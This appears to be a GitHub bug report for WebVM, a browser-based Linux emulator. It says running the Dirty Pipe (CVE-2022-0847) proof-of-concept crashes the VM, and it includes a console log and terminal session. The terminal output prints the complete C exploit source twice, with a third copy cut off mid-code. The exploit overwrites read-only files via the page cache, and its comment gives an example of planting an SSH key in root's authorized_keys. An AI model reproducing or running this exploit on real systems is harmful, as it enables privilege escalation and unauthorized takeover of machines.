#38·webvm

https://dirtypipe.cm4all.com/ exploit crashes webvm

Author: hello-smile6Created Aug 5, 2022Updated Aug 5, 2022

Console log:

Welcome. We appreciate curiosity, but be warned that keeping the DevTools open causes significant performance degradation and crashes.
xterm.js:1 [Violation] 'requestAnimationFrame' handler took 103ms
xterm.js:1 [Violation] 'requestAnimationFrame' handler took 108ms
cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
9The resource <URL> was preloaded using link preload but not used within a few seconds from the window's load event. Please make sure it has an appropriate `as` value and it is preloaded intentionally.
4cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5410
2cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
cxcore.js:1 TODO: CONSOLE IOCTL 5410
2cxcore.js:1 TODO: CONSOLE IOCTL 5410
2cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
cxcore.js:1 TODO: CONSOLE IOCTL 5410
2cxcore.js:1 TODO: CONSOLE IOCTL 5410
2cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5410
2cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5410
2cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5410
2cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
cxcore.js:1 TODO: CONSOLE IOCTL 5410
3cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
4cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
4cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
xterm.js:1 [Violation] 'requestAnimationFrame' handler took 81ms
4cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5410
2cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5410
2cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5410
2cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5410
2cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5410
cx.js:1 [Violation] 'load' handler took 202ms
2cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
4cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
4cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5410
2cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 Fault addr 0, ip 5555c092, tid 31
cxcore.js:1 Fault from Inode 23521
xterm.js:1 [Violation] 'blur' handler took 333ms

Terminal output:

                        __      __   _  __   ____  __       
                        \ \    / /__| |_\ \ / /  \/  | 
                         \ \/\/ / -_) '_ \ V /| |\/| | 
                          \_/\_/\___|_.__/\_/ |_|  |_|  


 +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~+
 |                                                                            |
 | WebVM is a server-less virtual Linux environment running fully client-side |
 | in HTML5/WebAssembly.                                                      |
 |                                                                            |
 | In this demo, it runs an unmodified Debian distribution including many     |
 | native development toolchains.                                             |
 |                                                                            |
 | WebVM is powered by the CheerpX virtualization engine, and enables safe,   |
 | sandboxed client-side execution of x86 binaries on any browser.            |
 |                                                                            |
 | CheerpX includes an x86-to-WebAssembly JIT compiler, a virtual block-based |
 | file system, and a Linux syscall emulator.                                 |
 |                                                                            |
 | For more information: https://medium.com/p/40a60170b361                    |
 |                                                                            |
 | GitHub  |  Issues  |  Gitter  |  Twitter  |  Latest News  |  About CheerpX |
 |                                                                            |
 +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~+

   Welcome to WebVM (build 20220726). If unsure, try these examples:

     python3 examples/python3/fibonacci.py 
     gcc -o helloworld examples/c/helloworld.c && ./helloworld
     objdump -d ./helloworld | less -M
     vim examples/c/helloworld.c

user@:~$ ls
examples  test.c
user@:~$ cat test.c 
/* SPDX-License-Identifier: GPL-2.0 */
/*
 * Copyright 2022 CM4all GmbH / IONOS SE
 *
 * author: Max Kellermann <[email protected]>
 *
 * Proof-of-concept exploit for the Dirty Pipe
 * vulnerability (CVE-2022-0847) caused by an uninitialized
 * "pipe_buffer.flags" variable.  It demonstrates how to overwrite any
 * file contents in the page cache, even if the file is not permitted
 * to be written, immutable or on a read-only mount.
 *
 * This exploit requires Linux 5.8 or later; the code path was made
 * reachable by commit f6dd975583bd ("pipe: merge
 * anon_pipe_buf*_ops").  The commit did not introduce the bug, it was
 * there before, it just provided an easy way to exploit it.
 *
 * There are two major limitations of this exploit: the offset cannot
 * be on a page boundary (it needs to write one byte before the offset
 * to add a reference to this page to the pipe), and the write cannot
 * cross a page boundary.
 *
 * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
 *
 * Further explanation: https://dirtypipe.cm4all.com/
 */

#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>

#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif

/**
 * Create a pipe where all "bufs" on the pipe_inode_info ring have the
 * PIPE_BUF_FLAG_CAN_MERGE flag set.
 */
static void prepare_pipe(int p[2])
{
        if (pipe(p)) abort();

        const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
        static char buffer[4096];

        /* fill the pipe completely; each pipe_buffer will now have
           the PIPE_BUF_FLAG_CAN_MERGE flag */
        for (unsigned r = pipe_size; r > 0;) {
                unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
                write(p[1], buffer, n);
                r -= n;
        }

        /* drain the pipe, freeing all pipe_buffer instances (but
           leaving the flags initialized) */
        for (unsigned r = pipe_size; r > 0;) {
                unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
                read(p[0], buffer, n);
                r -= n;
        }

        /* the pipe is now empty, and if somebody adds a new
           pipe_buffer without initializing its "flags", the buffer
           will be mergeable */
}

int main(int argc, char **argv)
{
        if (argc != 4) {
                fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]);
                return EXIT_FAILURE;
        }

        /* dumb command-line argument parser */
        const char *const path = argv[1];
        loff_t offset = strtoul(argv[2], NULL, 0);
        const char *const data = argv[3];
        const size_t data_size = strlen(data);

        if (offset % PAGE_SIZE == 0) {
                fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
                return EXIT_FAILURE;
        }

        const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
        const loff_t end_offset = offset + (loff_t)data_size;
        if (end_offset > next_page) {
                fprintf(stderr, "Sorry, cannot write across a page boundary\n");
                return EXIT_FAILURE;
        }

        /* open the input file and validate the specified offset */
        const int fd = open(path, O_RDONLY); // yes, read-only! :-)
        if (fd < 0) {
                perror("open failed");
                return EXIT_FAILURE;
        }

        struct stat st;
        if (fstat(fd, &st)) {
                perror("stat failed");
                return EXIT_FAILURE;
        }

        if (offset > st.st_size) {
                fprintf(stderr, "Offset is not inside the file\n");
                return EXIT_FAILURE;
        }

        if (end_offset > st.st_size) {
                fprintf(stderr, "Sorry, cannot enlarge the file\n");
                return EXIT_FAILURE;
        }

        /* create the pipe with all flags initialized with
           PIPE_BUF_FLAG_CAN_MERGE */
        int p[2];
        prepare_pipe(p);

        /* splice one byte from before the specified offset into the
           pipe; this will add a reference to the page cache, but
           since copy_page_to_iter_pipe() does not initialize the
           "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
        --offset;
        ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
        if (nbytes < 0) {
                perror("splice failed");
                return EXIT_FAILURE;
        }
        if (nbytes == 0) {
                fprintf(stderr, "short splice\n");
                return EXIT_FAILURE;
        }

        /* the following write will not create a new pipe_buffer, but
           will instead write into the page cache, because of the
           PIPE_BUF_FLAG_CAN_MERGE flag */
        nbytes = write(p[1], data, data_size);
        if (nbytes < 0) {
                perror("write failed");
                return EXIT_FAILURE;
        }
        if ((size_t)nbytes < data_size) {
                fprintf(stderr, "short write\n");
                return EXIT_FAILURE;
        }

        printf("It worked!\n");
        return EXIT_SUCCESS;
}
d
user@:~$ cat test.c | wc --help
Usage: wc [OPTION]... [FILE]...
  or:  wc [OPTION]... --files0-from=F
Print newline, word, and byte counts for each FILE, and a total line if
more than one FILE is specified.  A word is a non-zero-length sequence of
characters delimited by white space.

With no FILE, or when FILE is -, read standard input.

The options below may be used to select which counts are printed, always in
the following order: newline, word, character, byte, maximum line length.
  -c, --bytes            print the byte counts
  -m, --chars            print the character counts
  -l, --lines            print the newline counts
      --files0-from=F    read input from the files specified by
                           NUL-terminated names in file F;
                           If F is - then read names from standard input
  -L, --max-line-length  print the maximum display width
  -w, --words            print the word counts
      --help     display this help and exit
      --version  output version information and exit

GNU coreutils online help: <https://www.gnu.org/software/coreutils/>
Report wc translation bugs to <https://translationproject.org/team/>
Full documentation at: <https://www.gnu.org/software/coreutils/wc>
or available locally via: info '(coreutils) wc invocation'
user@:~$ cat test.c | wc --lines
157
user@:~$ cat test.c | head -n 156
/* SPDX-License-Identifier: GPL-2.0 */
/*
 * Copyright 2022 CM4all GmbH / IONOS SE
 *
 * author: Max Kellermann <[email protected]>
 *
 * Proof-of-concept exploit for the Dirty Pipe
 * vulnerability (CVE-2022-0847) caused by an uninitialized
 * "pipe_buffer.flags" variable.  It demonstrates how to overwrite any
 * file contents in the page cache, even if the file is not permitted
 * to be written, immutable or on a read-only mount.
 *
 * This exploit requires Linux 5.8 or later; the code path was made
 * reachable by commit f6dd975583bd ("pipe: merge
 * anon_pipe_buf*_ops").  The commit did not introduce the bug, it was
 * there before, it just provided an easy way to exploit it.
 *
 * There are two major limitations of this exploit: the offset cannot
 * be on a page boundary (it needs to write one byte before the offset
 * to add a reference to this page to the pipe), and the write cannot
 * cross a page boundary.
 *
 * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
 *
 * Further explanation: https://dirtypipe.cm4all.com/
 */

#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>

#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif

/**
 * Create a pipe where all "bufs" on the pipe_inode_info ring have the
 * PIPE_BUF_FLAG_CAN_MERGE flag set.
 */
static void prepare_pipe(int p[2])
{
        if (pipe(p)) abort();

        const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
        static char buffer[4096];

        /* fill the pipe completely; each pipe_buffer will now have
           the PIPE_BUF_FLAG_CAN_MERGE flag */
        for (unsigned r = pipe_size; r > 0;) {
                unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
                write(p[1], buffer, n);
                r -= n;
        }

        /* drain the pipe, freeing all pipe_buffer instances (but
           leaving the flags initialized) */
        for (unsigned r = pipe_size; r > 0;) {
                unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
                read(p[0], buffer, n);
                r -= n;
        }

        /* the pipe is now empty, and if somebody adds a new
           pipe_buffer without initializing its "flags", the buffer
           will be mergeable */
}

int main(int argc, char **argv)
{
        if (argc != 4) {
                fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]);
                return EXIT_FAILURE;
        }

        /* dumb command-line argument parser */
        const char *const path = argv[1];
        loff_t offset = strtoul(argv[2], NULL, 0);
        const char *const data = argv[3];
        const size_t data_size = strlen(data);

        if (offset % PAGE_SIZE == 0) {
                fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
                return EXIT_FAILURE;
        }

        const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
        const loff_t end_offset = offset + (loff_t)data_size;
        if (end_offset > next_page) {
                fprintf(stderr, "Sorry, cannot write across a page boundary\n");
                return EXIT_FAILURE;
        }

        /* open the input file and validate the specified offset */
        const int fd = open(path, O_RDONLY); // yes, read-only! :-)
        if (fd < 0) {
                perror("open failed");
                return EXIT_FAILURE;
        }

        struct stat st;
        if (fstat(fd, &st)) {
                perror("stat failed");
                return EXIT_FAILURE;
        }

        if (offset > st.st_size) {
                fprintf(stderr, "Offset is not inside the file\n");
                return EXIT_FAILURE;
        }

        if (end_offset > st.st_size) {
                fprintf(stderr, "Sorry, cannot enlarge the file\n");
                return EXIT_FAILURE;
        }

        /* create the pipe with all flags initialized with
           PIPE_BUF_FLAG_CAN_MERGE */
        int p[2];
        prepare_pipe(p);

        /* splice one byte from before the specified offset into the
           pipe; this will add a reference to the page cache, but
           since copy_page_to_iter_pipe() does not initialize the
           "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
        --offset;
        ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
        if (nbytes < 0) {
                perror("splice failed");
                return EXIT_FAILURE;
        }
        if (nbytes == 0) {
                fprintf(stderr, "short splice\n");
                return EXIT_FAILURE;
        }

        /* the following write will not create a new pipe_buffer, but
           will instead write into the page cache, because of the
           PIPE_BUF_FLAG_CAN_MERGE flag */
        nbytes = write(p[1], data, data_size);
        if (nbytes < 0) {
                perror("write failed");
                return EXIT_FAILURE;
        }
        if ((size_t)nbytes < data_size) {
                fprintf(stderr, "short write\n");
                return EXIT_FAILURE;
        }

        printf("It worked!\n");
        return EXIT_SUCCESS;
}
user@:~$ cat test.c | head -n 156 > test2.c
user@:~$ cat test2.c 
/* SPDX-License-Identifier: GPL-2.0 */
/*
 * Copyright 2022 CM4all GmbH / IONOS SE
 *
 * author: Max Kellermann <[email protected]>
 *
 * Proof-of-concept exploit for the Dirty Pipe
 * vulnerability (CVE-2022-0847) caused by an uninitialized
 * "pipe_buffer.flags" variable.  It demonstrates how to overwrite any
 * file contents in the page cache, even if the file is not permitted
 * to be written, immutable or on a read-only mount.
 *
 * This exploit requires Linux 5.8 or later; the code path was made
 * reachable by commit f6dd975583bd ("pipe: merge
 * anon_pipe_buf*_ops").  The commit did not introduce the bug, it was
 * there before, it just provided an easy way to exploit it.
 *
 * There are two major limitations of this exploit: the offset cannot
 * be on a page boundary (it needs to write one byte before the offset
 * to add a reference to this page to the pipe), and the write cannot
 * cross a page boundary.
 *
 * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
 *
 * Further explanation: https://dirtypipe.cm4all.com/
 */

#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>

#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif

/**
 * Create a pipe where all "bufs" on the pipe_inode_info ring have the
 * PIPE_BUF_FLAG_CAN_MERGE flag set.
 */
static void prepare_pipe(int p[2])
{
        if (pipe(p)) abort();

        const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
        static char buffer[4096];

        /* fill the pipe completely; each pipe_buffer will now have
           the PIPE_BUF_FLAG_CAN_MERGE flag */
        for (unsigned r = pipe_size; r > 0;) {
                unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
                write(p[1], buffer, n);
                r -= n;
        }

        /* drain the pipe, freeing all pipe_buffer instances (but
           leaving the flags initialized) */
        for (unsigned r = pipe_size